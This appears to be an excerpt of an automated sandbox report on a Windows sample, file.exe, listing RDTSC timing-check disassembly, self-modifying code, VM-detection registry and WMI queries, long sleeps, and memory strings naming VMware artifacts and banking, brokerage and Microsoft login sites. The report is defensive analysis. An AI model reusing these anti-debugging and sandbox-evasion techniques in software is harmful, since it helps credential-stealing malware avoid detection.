Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20B47 second address: 4D20BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6E04531018h 0x00000009 sub ecx, 51DA2E58h 0x0000000f jmp 00007F6E0453100Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007F6E7615E845h 0x0000001e jmp 00007F6E04531016h 0x00000023 cmp dword ptr [769B459Ch], 05h 0x0000002a jmp 00007F6E04531010h 0x0000002f je 00007F6E761768F2h 0x00000035 jmp 00007F6E04531010h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F6E0453100Dh 0x00000044 or eax, 28212606h 0x0000004a jmp 00007F6E04531011h 0x0000004f popfd 0x00000050 mov ax, DDB7h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20BF0 second address: 4D20C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E04C712CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6349234 second address: 634925D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 ja 00007F6E04531006h 0x0000000c pop edi 0x0000000d jmp 00007F6E0453100Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F6E0453100Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634925D second address: 6349279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6349279 second address: 634927D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6332D4E second address: 6332D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F6E04C712D4h 0x0000000e push eax 0x0000000f pop eax 0x00000010 jbe 00007F6E04C712C6h 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F6E04C712D2h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63482C5 second address: 63482D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F6E04531006h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348554 second address: 634855E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6E04C712C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634882D second address: 6348832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348832 second address: 6348857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E04C712D3h 0x00000008 jo 00007F6E04C712C6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F6E04C712C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348857 second address: 634885B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634885B second address: 6348861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348B40 second address: 6348B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6E04531006h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jg 00007F6E04531006h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348B5D second address: 6348B73 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6E04C712C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F6E04C712CEh 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634C920 second address: 634C94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jne 00007F6E04531008h 0x0000000e jmp 00007F6E04531010h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F6E04531006h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634C94F second address: 634C959 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CA51 second address: 634CA55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CA55 second address: 634CA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CA5B second address: 634CA93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531016h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D2DBAh] 0x00000010 sub ecx, 0FAB25A2h 0x00000016 push 00000000h 0x00000018 mov dx, 3FA5h 0x0000001c push 8F72A84Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pushad 0x00000025 popad 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CB49 second address: 634CB6B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6E04C712C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6E04C712D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CB6B second address: 634CB75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CB75 second address: 634CBA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 js 00007F6E04C712CCh 0x0000000f mov dword ptr [ebp+122D1C99h], esi 0x00000015 push 00000000h 0x00000017 mov ecx, ebx 0x00000019 push 0A088CACh 0x0000001e je 00007F6E04C712D2h 0x00000024 jnp 00007F6E04C712CCh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634CBA7 second address: 634CC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 xor dword ptr [esp], 0A088C2Ch 0x0000000b mov ecx, dword ptr [ebp+122D2D76h] 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F6E04531008h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d add ecx, dword ptr [ebp+122D2A96h] 0x00000033 push 00000000h 0x00000035 push 00000003h 0x00000037 push 591A2100h 0x0000003c push edi 0x0000003d jmp 00007F6E04531017h 0x00000042 pop edi 0x00000043 add dword ptr [esp], 66E5DF00h 0x0000004a cmc 0x0000004b mov dword ptr [ebp+122D39B8h], edx 0x00000051 lea ebx, dword ptr [ebp+12452749h] 0x00000057 push 00000000h 0x00000059 push ebx 0x0000005a call 00007F6E04531008h 0x0000005f pop ebx 0x00000060 mov dword ptr [esp+04h], ebx 0x00000064 add dword ptr [esp+04h], 00000014h 0x0000006c inc ebx 0x0000006d push ebx 0x0000006e ret 0x0000006f pop ebx 0x00000070 ret 0x00000071 jmp 00007F6E04531010h 0x00000076 push eax 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F6E0453100Eh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DFBD second address: 636DFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636C0C9 second address: 636C0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636C0CF second address: 636C0D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636C0D8 second address: 636C0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636C64A second address: 636C65D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636C907 second address: 636C940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E0453100Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F6E0453102Bh 0x0000000f jmp 00007F6E04531011h 0x00000014 jmp 00007F6E04531014h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636CD5A second address: 636CD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636CD5E second address: 636CD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337EE7 second address: 6337EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337EEB second address: 6337F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04531017h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F6E0453100Eh 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6337F1D second address: 6337F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6E04C712CCh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DB87 second address: 636DB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DB8D second address: 636DB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712CBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DB9E second address: 636DBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DBA3 second address: 636DBB6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6E04C712C8h 0x00000008 pushad 0x00000009 je 00007F6E04C712C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636DBB6 second address: 636DBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637174E second address: 6371755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6370313 second address: 6370317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63790FA second address: 63790FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63790FE second address: 637911B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637911B second address: 6379120 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637B5FF second address: 637B605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BAAB second address: 637BADF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E04C712D4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BC25 second address: 637BC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BC29 second address: 637BC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BC2D second address: 637BC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BDBF second address: 637BDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BDC3 second address: 637BDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C245 second address: 637C24D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C2B2 second address: 637C2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C2BC second address: 637C2CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C2CA second address: 637C2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C2CE second address: 637C311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F6E04C712C8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 xor dword ptr [ebp+1246220Ch], eax 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C670 second address: 637C676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C676 second address: 637C67A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C67A second address: 637C696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E04531010h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C696 second address: 637C6B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C6B7 second address: 637C6BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C737 second address: 637C744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jo 00007F6E04C712C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637C744 second address: 637C769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F6E04531019h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D69C second address: 637D6A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D6A0 second address: 637D6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637E729 second address: 637E72D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3E8A35 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3E6366 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3E8974 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 622F8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61CDB57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61CB482 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 640AD8A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61D1863 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_061CDE0E rdtsc

0_2_061CDE0E

Source: C:\Users\user\Desktop\file.exe TID: 6240	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5968	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3424	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2188	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2552919245.0000000006350000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546992672.000000000056E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2290277946.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156569902.0000000000F46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2183169174.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2548540274.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2261933260.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2548540274.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2551568051.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000002.2551568051.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}X
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2208069013.00000000056F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2208265661.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
